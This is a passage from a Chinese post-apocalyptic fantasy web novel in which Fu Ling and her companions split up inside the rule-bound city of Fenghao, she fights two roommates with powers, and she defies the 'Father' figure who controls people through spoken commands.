七、违抗‘父亲’命令的人,都是狂妄而自大的反抗者!请务必杀死所有与‘父亲’作对的人!
下面还写着一堆混乱的血色字迹,所写内容都是关于‘父亲’的狂热言语。
林随安点了点第七条内容:“伏苓,真的没问题吗?”
她微微侧头,直直对上了在一旁桌椅前收拾的服务员的怨毒目光,那人猛地收回视线,慌慌张张地离开了。
林随安目光停留在那人背影上。
她原先就一直觉得周围总有若有若无的视线看向这边,原先还以为是错觉,如今看来,方才在大庭广众之下打脸‘父亲’的伏苓,明显已经变成了他们的目标。
伏苓笑了一声,身体随之微微一震。
程承紧了紧拳,片刻后松开:“没事,我会尽量与伏苓同行。”
祝无忧托着腮:“搞得跟规则怪谈一样……”
伏苓瞥了她一眼:“什么叫规则怪谈?”
“啊?”祝无忧眨眨眼睛,眼见众人的目光都落到她身上,她有些尴尬地坐直身体:“你们不知道这玩意?”
众人摇了摇头。
这种新鲜玩意只有八年前雨灾还未降临之前才会有所耳闻,而当时林家兄妹不是在流浪就是在军区训练,伏苓一天到晚被逼着练剑根本没心思去了解这些新概念。
他们仨还能理解,祝无忧慢吞吞地看向程承:“你也不知道?”
程承两手一摊:“我好学生,哪有时间看手机了解互联网?”
祝无忧:“……哦,意思是说我不是好学生咯?”
程承笑了一声:“我没这么说。”
祝无忧跳了起来:“你什么意思!”
伏苓偏头掩下上扬的嘴角,林随遇笑得差点歪倒在林随安身上:“程承你真是越来越坏了。”
程承面不改色:“跟你学的。”
林随遇:“……”
林随安伸手抵住林随遇毛茸茸的脑袋将他推走:“好啦,所以什么是规则怪谈?”
祝无忧瞪了程承一眼:“我也不太能说清楚,大概就是制定了一系列规则,如果触犯规则就会受到惩罚之类的吧。是不是跟现在的情况很像?”
伏苓挑了挑眉:“会受到什么惩罚?”
祝无忧歪歪脑袋:“每一个规则怪谈都是不一样的,反正都是些非常恐怖的惩罚。”
伏苓长长地“哦”了一声:“之所以觉得恐怖,是因为无法抵抗制定规则的人吧?那我觉得丰镐算不上什么规则怪谈。”
她顿了顿,漫不经心道:“那个所谓的‘父亲’,没那么遥不可及。”
自从进入丰镐以来,就连她就察觉到了众人无意识的恐慌和无措。如果放任他们这样下去,加上他们必须要分开前往不同区域,之后肯定会发生一些她不愿意看到的事情。
只有将那位丰镐高高在上的‘神明’拉下神坛,才能稳住众人的心,才能将‘父亲’放到与他们平起平坐的位置上。
这也是伏苓为何在开房时突然违抗规则,直面‘父亲’的原因。
“所以,”程承的声音打破了寂静:“那个‘父亲’就是我们在城外遇见的那位言灵,对吗?”
伏苓颔首:“八九不离十。”
林随遇笑了笑:“不管这个‘父亲’在丰镐有多么高的地位,本质上也只是一个稍微强一点的异能者罢了。”
说完,他“啧”了一声,笑骂:“这什么‘父亲’到底叫什么?一直喊他‘父亲’好膈应啊。”
伏苓:“或许你也可以喊他,孙子。”
周围有意无意在他们身边绕来绕去的服务员两眼喷火地看着这群笑得东倒西歪的人。
程承坐直身体,正色道:“总之,我们先不要与孙子发生正面冲突,如今的主要任务还是收集信息。”
“我赞同。”林随安点头,她看了看挂在墙壁上的钟:“快五点了,我们在周围转一圈?”
“不行。”程承目光落在地图上:“这里是栎阳区,坐地铁去千春区需要一个小时,去芷阳要半小时。”
祝无忧举手:“不是,这建筑里面为什么还有地铁啊?”
林随安轻轻敲了敲她的脑袋:“笨,之前不是猜测是一栋栋楼房围住了丰镐吗?”
“哦,是哦。”祝无忧捂住脑袋。
“总之,”林随遇最后捏了个葡萄塞进嘴里,站起身:“现在就兵分三路了是吧?”
程承“嗯”了一声,对上了伏苓的目光。
他凑近了些,手掌摁在柔软的沙发上,压下一阵凹陷,让他的手与伏苓放在沙发上的指尖短暂地触碰了一瞬。
他顿了顿,压低声音:“你……注意安全。”
伏苓看着他,许久都没有言语。
说实话,她有些抗拒。
这似乎,是他们第一次需要分开行动。
伏苓陡然一惊。
习惯真是一个可怕的东西。
无意之间,他们原来已经相伴着走了一个又一个城市了。
甚至……她此时竟觉得有一些不舍。
半晌,她才弯弯眼睛:“好。”
不知程承是否是一样的心理,他欲言又止,最后只憋出来一句:“要不要我先帮你把周围盯着你的人干掉?”
伏苓没忍住笑了一声,林随遇无语道:“你刚刚还说先不要跟他们正面对上呢?”
程承有些尴尬地咳了一声。
林随安笑眯眯:“我们懂我们懂,关心则乱嘛。”
祝无忧大声嚷嚷:“正所谓小别胜新婚,你们……”
“……闭嘴。”程承忍无可忍。
伏苓挥挥手:“赶紧走吧,别贫了。”
到了相应区域后还要四处熟悉环境,怎么想都觉得时间紧张。林随安点点头:“你注意安全。”
伏苓颔首。
祝无忧跟着程承,苦恼道:“也没有手机什么的,怎么知道去房间的路线呢?”
离开了导航,真的很难毫不出错到达目的地啊。
林随遇面露惊奇:“你不会看路标吗?”
祝无忧:“……我不会又怎样!难道会了就一定能找到路吗?”
林随遇笑嘻嘻:“对啊。”
祝无忧:“……好想揍你。”
程承叹了口气,拎起祝无忧的后衣领:“我教你。”
祝无忧顿时喜笑颜开:“我就知道你是个好人,等跟伏苓汇合了我一定多说你的好话。”
程承:……谢谢你啊。
她又吵吵嚷嚷地控诉林随遇的幸灾乐祸,程承失神了一瞬,下意识回过头去。
伏苓还靠在椅背上,只露出半颗脑袋。似乎是因为房间离得不远,不着急赶过去,所以还在休息。
周围的服务员虽然一直没有离开,但也似乎也知晓伏苓既然能摆脱言灵的束缚,实力自然不弱,所以没有一个人敢靠近她。
还算安全。
那些人也伤不了她什么。
他转过头来。
第一次感觉到了不习惯。
手臂上红色汇聚,很快弹出来了一只圆圆的兔子,它四仰八叉地摊在程承小臂上:“终于分开了……”
程承瞥了它一眼:“一直没来得及问你,这些日子你怎么都不出现了?”
血兔耳朵动了动:“我害怕见到伏苓不行啊。”
程承在临安遇到伏苓之前,血兔出现的频率非常高,几乎他每一次使用异能它都会出现。而这些天它老老实实从未出现,让程承只能使用血雾,听它这么一说,似乎血兔不出现的时候,伏苓都在场。
偶尔一两次出来也是因为程承有个独处的时间。
程承轻轻蹙眉:“为什么?你害怕她?”
其实他原先一直以为是因为伏苓在前瞻集团下与自己打的那一太过凶残,导致血兔有了心理阴影,所以不敢出现。
但此时他却突然想到,当时与伏苓打起来的时候,血兔就没有出现过。
也就是说,在血兔不清楚伏苓实力的时候,它就已经不愿意出来了。所以它必定不是因为害怕伏苓实力的强大,而是有别的原因。
血兔长长叹了一口气,圆滚滚的身体随之瘫软:“这事我也说不太清楚,反正等你们到肃州见到她父母就知道了,伏苓她……”
它顿了顿,耳朵慢悠悠地甩着:“我也不是怕她,就是……不想跟她见面。”
没给程承继续询问的
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机会,它飞快道:“好了我透气结束了,再见。”
下一瞬,血雾散开。
程承垂着眸。
血兔没说出什么建设性的话语,但透露的信息已经不少了。
第一,它知道伏苓的父母,甚至与伏苓父母有过一些关系。
第二,早在程承第一次见到伏苓之前,它就已经见过伏苓了,甚至不止是“见过”这么简单。
第三……
程承脚步顿了顿。
“不想见到她”是什么意思?为什么不想见到她?
如果不是害怕的话,还会有什么样的情绪能让人不想见到一个人?
厌恶,恐惧,伤心,紧张,还是……愧疚?
“程承!”林随遇的声音将他从满天思绪中拉了回来:“想什么呢?”
程承摇摇头:“没什么。”
林随遇挑眉:“好吧,我们要坐六号线,你好像是九号线哦。”
程承:“好,那你们注意安全。”
林随遇笑了笑:“我们三个人能出什么事?重点是你和伏苓吧?”
他突然压低声音,低沉的话语在周围一片嘈杂的环境中莫名显得异常清晰:“第一晚,伏苓会乖乖待在房间里吗?”
程承睫毛猛地一颤。
他抬眼,对上了林随遇的目光,林随遇继续道:“我们离得太远,若是你们俩出什么事情未必能及时赶过来,所以……”
“我知道。”程承打断了他:“有我在。”
听着这信誓旦旦的声音,林随遇笑了笑,恢复了常态:“好,那请你务必注意安全。”
他刻意模仿了规则公告上的语气。
祝无忧一哆嗦:“你学什么不好学这个?”
林随安戳了戳趴在她肩膀上几乎看不到身形的血兔mini版,好奇问道:“这是在感知我们这边的情况吗?”
程承点点头,又摇摇头:“不止,还可以通话。”
每一个血兔都相当于它的分身,血兔能清楚地了解它各个分身所听到、看到的事情。
在他们需要分开行动时,血兔的这个技能能帮上大忙。
祝无忧在自己身上找了一圈,最后终于在自己的耳垂上发现了那只小巧的血兔:“我也有诶。”
林随遇捏着跟橡皮泥一样的小血兔:“程承应该是给我们一人放了一个。”
程承“嗯”了一声:“快去吧,你们路程时间长。”
祝无忧朝他挥挥手:“那我们走啦!”
……
伏苓看了看时间,起身准备先找一找房间。
大厅两边的红毯楼梯旋转着向上延伸,很多他们在停车场遇到的人也办完了入住,大部分都朝着程承他们离去的方向匆匆走去,少部分人正踩着红色地毯谨慎地走上楼梯。
很多目光隐隐约约落在自己身上,伏苓漫不经心地选了其中一束目光看了过去,对上了柜台后方为他们办理入住的前台的目光。
此时大家都散落在各处,柜台前没什么人,两人的目光没受到任何阻挡地撞在一起。
相比于那位前台的慌张,伏苓挑了挑眉,朝他招了招手示意他过来。
全场所有服务员猛地转过头看,一改方才偷偷摸摸的盯梢,死死盯住伏苓,仿佛要将她整个人看穿。
那一瞬,大厅的人声陡然消失,只剩下大厅内缓缓流淌着的轻轻音乐。
走在半路的外来者下意识停下脚步,有些不知所措地顺着服务员的目光看向伏苓。
这是……怎么了吗?
他们屏住呼吸,紧张地观察着局势,与周围人小声讨论起来。
“那个女人有点熟悉啊,我怎么感觉在哪见过?”
“你还能见过这么牛逼的人,我跟你说,你刚刚没看到,刚刚她故意违反规则了。”
“卧槽?那她没被抓走吗?我朋友违反规则直接原地消失了。”
“不知道啊,是不是她比较……强啊?”
“再强也不能刚进来就二进宫吧?这么刚?”
“妈妈啊我记起来了!这是不可说!不可说啊!!”
此话一出,大厅里连窃窃私语的声音都尽数消失了。
一群人大眼瞪小眼,疯狂对着眼色。
他们声音很小,但空荡荡的大厅下,伏苓几乎听得一清二楚,她笑了笑,轻声自语:“都说了,先不要正面对抗,我怎么会傻着直接上呢?”
她虽喜欢暴力破局,但也不是没有脑子的。
丰镐这边的情况明显跟之前都不一样,暴力破局讨不到好处,更会让自己陷入险境。
但就算如此,她也不是个会谨慎行事的主。
所有服务员都在监视她,她就必须躲开这些人的目光吗?她就必须要小心翼翼地行动吗?
这不是她的风格,她也不愿意这样做。
她笑眯眯看着如临大敌的前台:“电梯在哪?”
“啊?”满脸紧张,甚至一只手都放在了报警电话上的前台陡然一惊,有些懵地回答:“上二楼右转。”
伏苓看着她挑挑眉,吓得那人又是一抖。她掩去嘴角嘲弄的笑意,颔首道:“多谢。”
说完,她也没管其他从四面八方看过来的目光,慢悠悠地上了楼梯。
路上不管什么人都下意识给她让出了一条宽阔大路。
她也没在意,在众人的注目礼下率先走进电梯。
周围没有人敢跟她上同一部电梯,伏苓摁住按钮,好奇地对上站在电梯前面的人的目光:“不上来吗?”
那人连连摆手:“不用不用,额,我可能还要在楼下转一转。”
伏苓理解地点点头:“好。”
她松开手,电梯门缓慢地合上。
直到电梯上的数字开始跳转,大厅才恢复了常态。
有人拍了拍刚刚说话那人:“诶,你发什么愣呢?被吓傻了?”
那人忽地回神:“啊,也没有……”
同伴抱着臂摸摸下巴:“我感觉她挺强的,要不我们去抱个大腿?”
“人家有自己的队伍吧?我感觉他们一整个队就没有弱的。”
“这你们就不懂了吧!”一个大汉走近,满脸崇敬道:“这可是不可说啊,哎,刚刚怎么没人问她叫什么名字啊?”
有人冷笑:“你怎么不去?”
大汉瞪眼:“我、我不敢啊!”
他顿了顿,面色变得柔和了些:“有不可说在这,我顿时感觉安全感爆棚!”
众人:“……”
大汉继续说着,笑容越来越大:“也不知道不可说能不能看上我,我愿意做她的狗!”
众人:“……”
神经病啊!!
56. 百世同堂04
电梯没有停靠在任何一层,很快抵达了79层。
伏苓走了出去。原本靠在栏杆上往下看的人都不见了,此时正空无一人。
她有些失望地瘪瘪嘴。
这里装修得还算漂亮,墙面采用了深色的实木装饰,上面雕刻着精美的花纹。走廊一侧是一道栏杆,凭栏下望,能远远看到一楼的场景和那个被炸了一半的红色宝座。
沿着走廊的墙壁上挂着一幅幅古老的油画,一道道通往深处的走廊排列着,如同一条条经脉纵横这层楼。
伏苓侧头看去。
有些油画倒还算正常,但中间夹杂着一些突兀的人物画像,她凑近了些,画上的人脸部线条柔和,棕色的眼睛弯成月牙,眼角溢满了温暖的笑意。
算得上是个长相漂亮的男人。
伏苓目光缓缓下移,看到了画像下写着:
“献给最崇高的父亲大人!父亲大人是世间最……”
伏苓撇嘴,没再看下去。
得,又是这个孙子。丰镐的人被他洗脑得不轻啊。
她摸了摸下巴,向前走了两步:“为什么丰镐百姓会这么痴迷这个孙子?”
“孙子?”楚河的声音从她身后传来,伏苓猛地回头,利刃出鞘,又快又准地袭向身后之人。
楚河动作很快,下腰躲避几乎是刻在骨子里的动作,剑刃稳稳划过楚河鼻尖前方的空气。
伏苓挑眉:“你躲这干什么?”
楚河抿了抿唇,没回答这个问题,反而将目光落在她那把软剑上:“那是你的武器?”
伏苓“嗯”了一声,将软剑收回。她掀起眼皮:“你有事吗?”
楚河猜测这把剑恐怕是伏苓的异能,便没再追问。他瞥了眼那张“父亲”的画像:“你刚刚喊他孙子?”
伏苓:“不可以吗?”
楚河低头笑了一声:“当然可以。”
他收回目光:“你的房间也在这层吗?”
伏苓点头:“显而易见。”
两人目光对视,都明白了对方与自己是相同的意思。
在这个信息少得可怜的危险之地,落单的人同行才是最好的办法。
楚河道:“没想到,这个合作来得这么快。”
伏苓靠在一旁的栏杆上,垂着眸,隔着七十几层的高度再次对上了前台的目光:“你队友都不在这里?”
楚河“嗯”了一声,顺着她的目光看去:“所以我们俩都落单了。”
伏苓笑了一声,指尖点了点一楼的那些服务员:“那你知道跟我合作会面对什么吗?”
所有服务员,不,可能是所有丰镐百姓的追杀。
楚河勾了勾唇,天花板上的灯光照在他身上,长长的睫毛铺下一片阴影:“那又怎样?”
他脸上没什么表情,语气依旧是那副淡淡的模样,眼睛却紧紧盯着伏苓:“我们联手还打不过他们吗?”
这话她爱听,伏苓直起身:“我欣赏你,楚河同学。”
楚河木了一瞬。
“现在,我们是队友了。”她突然话锋一转,“还没问你,为什么选我?”
楚河叹了口气:“这种事情不应该在合作之前就问清楚吗?”
伏苓懒散靠着栏杆:“那你为什么不主动说?”
楚河:“……”
他组织了一下语言,解释道:“因为你是唯一一个从规则里逃脱出来的人,如果有人能找到那些被抓走的违反规则之人,那那个人一定只能是你。”
“为了你的同伴?”伏苓问。
“为了我的同伴。”楚河肯定道,他冷静的眸中多出几分担忧:“他们刚恢复自由,我不愿意任何一个人在这里出现意外。”
伏苓没说话,楚河看了她一眼,自觉解释:“之前在梁州他们被核心掌管者关着做研究,后来是根据广播的提示毁了核心才将他们就出来。”
伏苓意外道:“你一个人啊?”
楚河“嗯”了一声。
伏苓若有所思地重新打量着楚河。
梁州也是一个大城,其核心实力可见一斑,而楚河单枪匹马毁掉核心,足以见得此人实力之强大。
楚河没在意她的打量,继续说:“当时的核心掌管者每天都会带走一批淋了雨的感染者,我的朋友就在其中。那时我不在,等我回来的时候,他们已经被强制带走了。”
他顿了顿:“我一直以为他们真的变成了感染者,后来才知道淋雨不一定会变成感染者,也有可能变成异能者。”
伏苓:“这你是怎么知道的?”
“因为我也淋雨了。”楚河顿了一下,“之前我没往这方面想,而且我一直独来独往,所以没人上报我。”
“总之,之后是因为广播,我才会试图去毁掉核心,这才发现那群人其实一直在拿这些带走的人做实验。”
伏苓摸着下巴点点头:“这样啊,不过你为什么要跟我讲这些?”
楚河噎了一下:“我投诚不得拿出点诚意吗?我的过往算是一个小小的诚意。”
伏苓点点头:“那我需要给你一点诚意吗?”
“哪有人会这么问的?”楚河无奈:“这种事情随你,我不强求。”
“好吧,那我不说了。”伏苓顺势道。
楚河:“……”
“哦,对了。”楚河突然想起来,问道:“我们之后怎么联系?要不加一下战备机的联系方式?”
伏苓扫了一眼周围的房间号,立马知道了这一层的号码排列规则。
她点了点对面的一处走廊:“我的房间应该在那边,可能是右边第二间。”
楚河:“……?”
伏苓瞥了他一眼,也不知道在说给谁听:“我没说房间号啊。”
周围渐渐凝固的空气陡然一顿,伏苓一脸坦然,僵持几秒后,肃杀的空气缓缓散开,带着一丝不甘心。
楚河绷着嘴角:“还可以这样吗?”
伏苓左右看了看:“没什么问题,我也没违反规则啊。”
楚河沉默了两秒,木着脸指向远处的走廊:“那我在那边,左手第四个。”
话语刚落,走廊上的喇叭突然尖锐地“叮咚”了一声。
熟悉的声音传来,带着明显的咬牙切齿:“规则更改,房间号码、方位等一系列有关告知对方房间所处位置的信息都不允许互换。”
伏苓笑出声:“还带现改的?”
逼格瞬间就没了好吗?
楚河舒了口气:“幸好我们已经互换过了。”
伏苓不急着去房间,胳膊抵在栏杆上朝下看去。
从这里可以看到楼下熙熙攘攘的大厅,不少服务员正托着食物微笑着递给客人。可能是来的客人多了些,柜台里面又多了几个服务生,外面排成好几个长队。
身侧有人也靠在栏杆上,顺着她的目光看过去。
伏苓百无聊赖道:“你不去房间看看吗?”
楚河垂着眸:“时间还早,不着急。”
行吧。
伏苓也没说什么。
两人沉默地并排抵在栏杆上,许久没说话。
“你觉得——”伏苓突然开口,“这里跟外面有什么不一样吗?”
楚河顿了顿,思索了片刻才淡声道:“这里女人很多。”
伏苓面无表情地转过头:“我真没想到你是这种人。”
“不是不是,我不是这个意思。”意思到她误会了什么,楚河连连摆手,解释道:“灾难降临的时候,相比于男人,女人的处境要更艰难一些。大部分男人会在第一时间抱团、排外,在这一方面,女人会稍微慢一些。”
伏苓没说话。
“这并不是在贬低她们,只是在现实中,还是会遇到很多期望通过依附强者来给自己寻找安身之所的女人,而她们寻找的人,大概率会是男人。”楚河说,“但男人的感情从不是纯粹的,里面会参杂着利益、权力等很多东西,他们会在这一刻毫无保留地爱着你、护着你,也可能在下一秒需要用你换取利益的时候抛弃你。”
楚河叹了口气:“所以很多女人在献出物资、身体,甚至生命之后,在失去了自己所有的价值之后,会很快被男人抛弃,严重者失去生命。”
“这也是在外面我不怎么能看到女人的原因,很大一部分女人都被这些男人害死了,而并不是灾难。只有少部分像你这样——”楚河看了她一眼,“这样迅速认识到,只有靠自己才能活下去的女人,才能在灾难中站稳脚跟。她们往往要站得比男人更高,更稳,才能不被抱团的男人戕害。”
伏苓嗯了一声:“然后呢?”
“但是在这里很奇怪。”楚河又看向楼下:“这里的男女比例几乎是相等的,也就是说,这里没有出现外界的情况。”
伏苓托着腮:“你是说,这里的男人比外面的有良心?”
“并不是。”楚河笑了一下,“男人都是一样的没良心。”
伏苓短促地笑了一声。
楚河继续道:“我的意思是,这里一定有某种规则,保护着所有人,这样才不会激发男人心底的贪婪,不会促使一部分女人投靠男人,也就不会发生像外面的情况。”
伏苓点点头:“我明白了,你是想说,丰镐的领导者是在保护丰镐百姓。”
楚河打了个响指:“没错,虽然这和我们刚刚遭遇的事情完全相反。”
两人又各自沉默下来。
这个结论确实很奇怪。
如果丰镐的领导者是为了保护百姓,那他就该是一个在乎生命尊重生命的人,可刚刚他们进来的时候,这人却毫不留情地想杀了他们。
这实在是矛盾。
伏苓直起身,没心思去猜上位者的心理。她朝着楚河挥挥手:“不跟你废话了,我先去房间看看情况。”
说完,她头也不回地朝着自己房间走去。
楼层很大,伏苓晃晃悠悠转了半天才来到了自己的房间门口。
她低头瞥了一眼,又抬头确认了一遍房间号:7902。
确认无误后,她将房卡抵在感应区,门锁“滴”了一声,“吧嗒”一下打开了。
她推开门,与房间里的几个女生面面相觑。
伏苓抬头再次确认了一遍,问道:“什么意思?”
坐在椅子上的两个女生没说话,目光轻蔑地上下打量着伏苓。
门边站着的女生连忙解释:“你是新来的吧?我们这边……都是四人住的。”
伏苓这才缓缓移动眼珠,打量起了房间里的设施。
房间与其说是酒店客房,不如说是一个学生宿舍。布置得中规中矩,四个床铺都位于房间的一侧,下方连接着一个桌子,放着各自的个人物品,书桌上方还有一个堆满各种杂物的小型书架。
墙上挂着一些装饰画和照片,伏苓一眼扫过去,还发现了好几副“父亲”的画像。
站在门旁边的女生有些怯懦地小声问:“你、你要进来吗?”
伏苓抬起下巴:“窗户旁边那个床位是我的?”
那是唯一一个没有生活痕迹的床位,但桌子上面却堆满了各种杂物。
“啊,是的……”女生声音很小,带着外露的畏惧。
伏苓瞥了她一眼:“你叫什么?”
“梨先雪。”女生愣了愣,但依旧下意识回答了伏苓的问题,说出口后又猛地回神,怯怯地看着她。
伏苓点点头,抬脚走了进去。
“关门啊,真没有素质。”坐在椅子上的女生不满地大声喊了一句。
伏苓看过去,长腿一勾,将门带上。她歪歪头,勾唇笑笑:“这样可以吗?”
那女生冷哼了一声,转头过去没再说话。
伏苓拉开自己床位下的椅子,看着满桌子的杂物问道:“谁的东西?不拿走吗?”
房间里一片寂静,没有一个人回答。
伏苓掀起眼皮,目光在这几个人身上打转。
梨先雪有些害怕地看着他们,想说什么但又咽了回去。
伏苓对上她的目光,笑得有些阴森:“梨先雪,对吧?”
等她颤抖着点头,伏苓问:“能告诉我,这些都是谁的东西吗?”
另外两个女生漫不经心地坐着自己手上的事情,看都没往这边看一眼。
梨先雪哆哆嗦嗦:“我、我不知道……”
她知道,但她也不敢说。
陆欣和仲安慧的异能太强大了,她身为无能力者根本没办法对抗她们。她害怕地飞快看了新来的女生——她眼尾微微下敛,显得有些漫不经心。
这个女生,身上似乎感受不到异能的存在。
所以,她也是无能力者吗?
梨先雪想到自己的遭遇,打了个寒颤。
她想伸手拉住伏苓,告诉她别惹那两个人了。只要忍一忍,起码还能活下去,若是惹到她们,恐怕连一时一刻都不得安生。
“我知道了。”伏苓的声音打断了梨先雪的思绪,她歪头扫视了一圈。
程承就说别跟言灵正面对上,几个虾兵蟹将……她还是能硬刚的吧?
她回忆了一下规则条例。
很好,没有规定不能打架。
下一瞬,软剑出鞘如同一条诡谲的毒蛇,细长的剑刃迅速扫荡桌面,以迅雷不及掩耳之势将那些东西甩到窗户上。
玻璃破碎的声音如同惊雷,屋外狂风吹入房间,浅色的窗帘顿时猎猎生风。
两个女生猛地回头,看到一片狼藉的场景后站起身来大喊:“你干什么?”
梨先雪呆着脸缩在墙角,吓出来的眼泪挂在脸颊上一动不动。
伏苓站在窗边,狂风卷起她绚烂的发丝,她歪歪头,疑惑道:“怎么了?我扔垃圾呀。”
她笑眯眯地看着两人,一脸天真无邪:“我看没人回答,想必那些东西肯定都是垃圾了,我扔掉也很正常吧。”
梨先雪焦急上前拉着陆欣的衣袖:“她也不是故意的,你们别……”
“滚开。”陆欣甩开梨先雪,将她狠狠推倒在地上。她扭曲着一张脸,指尖电光闪现,她猛地冲了上去:“你找死!”
伏苓平平淡淡地“啊”了一声:“是电啊,那另一个呢?”
话音落下,滂湃的力量卷着狂沙袭向伏苓。
她笑了笑,打了个响指,恍然大悟:“原来是沙。”
“砰”。
巨大的撞击声响起,激起一阵尘土飞扬。
陆欣喘着粗气,笑得阴险:“敢惹我
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,这就是下场!”
仲安慧收回沙土,冷哼了一声,俯身拍了拍傻在原地的梨先雪的脸颊,力道之重,让她雪白的面容顿时红了一片:“怎么?新来了一个,你就觉得她能护得住你了?”
梨先雪眼眶一瞬间红了,她呆呆看向原先伏苓站着的位置,心尖涌上一阵悲哀。
她猛地转头,声音颤抖,却异常坚定:“你们怎么可以这样?是你们挑衅在先,就算再生气,也不能直接致人于死地啊?你们简直……”
仲安慧猛地踹了她一脚,梨先雪被狠狠装在身后床铺的铁柱上,被撞到的部位一阵阵地疼,她死死咬着牙,不发出一点痛呼。
陆欣抱着臂,一脸嘲笑:“不是吧?这是忘记自己的处境了吗?怎么还给别人叫上冤了?”
仲安慧附和了一声,一脚踩在梨先雪的腹部,疼得后者冷汗直流。她微微俯身:“你配吗?”
“哎呀呀,好厉害啊。”甜腻的声音从尘土飞扬之处传来。
两人一僵,猛地看向声音的方向。
漫天沙石中隐隐露出一个身影,梨先雪慢慢瞪大了眼睛。
陆欣瞪大眼睛,不可置信道:“你没死?”
沙土缓缓落下,露出了伏苓的满是寒意的笑眼。她往前走了两步,笑得甜美:“干什么呀这么咒人家?”
伏苓原本没想对她们怎么样,只是给个小小的教训罢了,却没想这两人一出手便是杀招,明显是横行霸道惯了。
既然如此,她也没必要留手。
陆欣吞了吞口水,猛地抬起手臂,劈里啪啦的电流如蛇般在空中蜿蜒游动,快速袭向伏苓:“去死!”
她恶狠狠地看着伏苓:“刚才让你躲过去是你运气好,你以为你能……”
她的话戛然而止。
只见伏苓低低笑出声,剑身划过空气,刹那间闪电般的光芒划过,与电流相撞。
剑锋与电流碰撞的瞬间,一声巨响响彻四周,电流分崩离析,裂开了一道巨大的缝隙。
电流……被劈开了?
仲安慧猛地回神,无数沙土汇聚成一支又一支箭,呼啸而过之时,气势之大,仿佛要将伏苓整个吞噬。
“真是不长记性。”伏苓漫不经心地说了一句。
仲安慧整个人一颤,一股强烈的不安猛地涌上她的心头,几乎让她喘不上气,她下意识想拉开一旁的门把手逃走。
伏苓一剑挥出。剑锋与沙尘相撞的瞬间,巨大的碰撞声传来。
剑锋划过沙尘,沙土被劈成无数细小的颗粒,像雨点般洒落在地面上。失去了控制者的操控,沙土毫无攻击性地散落在周围。
伏苓挥挥手,咳了两声:“能让我咳起来,你也算是不错了。”
软剑飞快游走,剑身狠狠地撞在仲安慧身上,巨大的冲击力将她整个人甩飞出去,将房门整个撞倒在地上。
伏苓缓缓转头,看向了浑身颤抖的陆欣,后者触及到她的目光,吓得直接跌坐在地上:“不可能……”
伏苓慢吞吞地靠近她,笑眯眯地:“半场开香槟可不是什么好习惯,我这是在教你们作战的道理呀。”
她左右打量着她,正思索着该怎么处置这两人时,一道声音骤然响起。
“停下。”
熟悉的束缚感再次爬上伏苓的身体,她使劲试图动作,却堪堪细微地动了动指尖。
她心中火气上涌,咬着牙:“你一而再,再而三地试图控制我,是觉得我永远无法摆脱你的束缚吗?”
话音落下,伏苓周身陡然迸发出骇人的气势,一道无形的力量以她为中心向四周散开。
下一瞬,她已经拔出利刃,飞舞的剑身猛地击向房间内的喇叭。
破碎的零件散落在地,伏苓动作不停,脚尖一点跃至走廊,几乎只有几个呼吸的时间,走廊上零零散散的喇叭甚至还在滋啦作响,软剑就已经将其尽数击碎。
带着言灵的话语随着喇叭的破碎烟消云散。
伏苓随手擦了擦鼻尖滑落的血迹,嚣张道:“什么父亲?我看也不过如此。”
话音还未落下,整个走廊都爆发出尖锐刺耳的滋啦声。
伏苓皱着眉捂住耳朵。
这是……音响?
此时,一楼大厅内的宝座基地缓缓从中间裂开,露出来里面巨大的扬声器。
在场的所有人都惊疑不定地看着眼前的场景。
刺耳的声音戛然而止,伏苓瞳孔微缩,直觉不对。
“撞飞。”
随着这道指令的下达,一道无形的力量从扬声器中传来,却能让周围的空气瞬间扭曲,仿佛被一股巨大的能量场牵引,在空气中凝结成一道看不见的冲击波,速度之快,仿佛能撕裂空间。
伏苓握紧剑柄,冷着脸后退了一步试图避开,但是已经来不及了。
空气在震颤,地面在微微颤动,连时间都为之停滞,她的身体被无情地吞噬在这股力量之中。
在冲击之下,伏苓的身体如同被狂风吹起的树叶般,在空中划出一道的弧线,狠狠地撞击在走廊的墙壁上,砸出一道凹陷。
碎石落在地面,伏苓的身体无力地向前倾倒,跪在地面上。
手臂绷紧,锋利的石头割破了她的手心和膝盖。鲜血滴下,一滴一滴,形成一块小型湖泊。
伏苓抬起头,血色在她瞳孔中蔓延。
她擦了擦嘴角溢出的鲜血。明明是狼狈的模样,她却兴奋地笑着:“我找到你了,你躲不了了。”
……
88层观光厅。
地板是透明的玻璃状,游寂坐在椅子上,垂眸看着下面发生的一切。
屡次违抗自己规则的女孩被狠狠撞在墙上的时候,他闷哼一声,冷汗从额间落下,但他却像是没有痛觉一般弯了弯眼睛:“该老实了吧。”
他的言灵很强,自雨灾降临以来,游寂就没有遇到一个能摆脱他的言灵的人。
但唯一一点不好就在于,言灵有反噬。
被言灵控制的对象越强大,他要求对方做的动作伤害性越大,他受到的反噬就越强。
在今天之前,游寂几乎能在控制所有闯入丰镐之人的同时,保证自己所遭受的反噬在承受范围之内。
而这个女孩……
游寂眯了眯眼,看着她艰难地从地上爬起来,笑了一声。
这个叫伏苓的女孩,是他遇到的所有人中,最强的一个。
他紧紧盯着伏苓的身影,轻声呢喃:“你的异能是什么呢……”
他正思索着,突然,伏苓突然抬头。
明明是单向玻璃,明明游寂知道她不可能看到自己,但那一瞬间,他依旧莫名觉得自己与她对上了视线。
巨大的恐慌袭来,带着令人心悸的威慑,游寂猛地移开目光,大口大口地喘息着。
“怎么会?”他回神,再次看向伏苓所处的位置。
她已经低下头去,看向了向她跑来的男生,仿佛方才只是他的错觉一般。
但额间滴落的冷汗和依旧在疯狂跳动的心脏却告诉游寂。
不是错觉。
他握紧拳。
所以可能破坏丰镐如今的美好生活的人,他都必须除掉。
他微微张口:“去死吧。”
57. 百世同堂05
楚河扫了一圈:“怎么回事?”
血迹还在蔓延,伏苓低着头:“楚河,你的投诚还是不够心意。”
“什么……”楚河愣了一瞬,不明白她为何突然冒出这一句来。
伏苓抬起头,血迹在她脸上显得格外妖冶,楼下的扬声器发出了滋啦的声音,巨大的危机感袭向伏苓,她却丝毫不慌。
直觉告诉她,面前的男人就是破局的关键。
她笑着,语气却带有不容拒绝的意味:“楚河,请你在他说出话之前,毁掉扬声器。”
楚河看着她,清冷的眸中漾起波澜:“好。”
时间静止了。
但这一次,不是因为游寂。
寂静的世界里,所有的一切都停在原地,尘埃停止了漂浮,碎石停止了下坠,一切都仿佛被时间捕捉,静止在空中。
一片寂静中,只有一个人在动。
楚河脚步飞快,他踩上护栏,如流星般向下跃去,数不清的楼层向上飞去,楚河目光紧盯着那个巨大的扬声器。
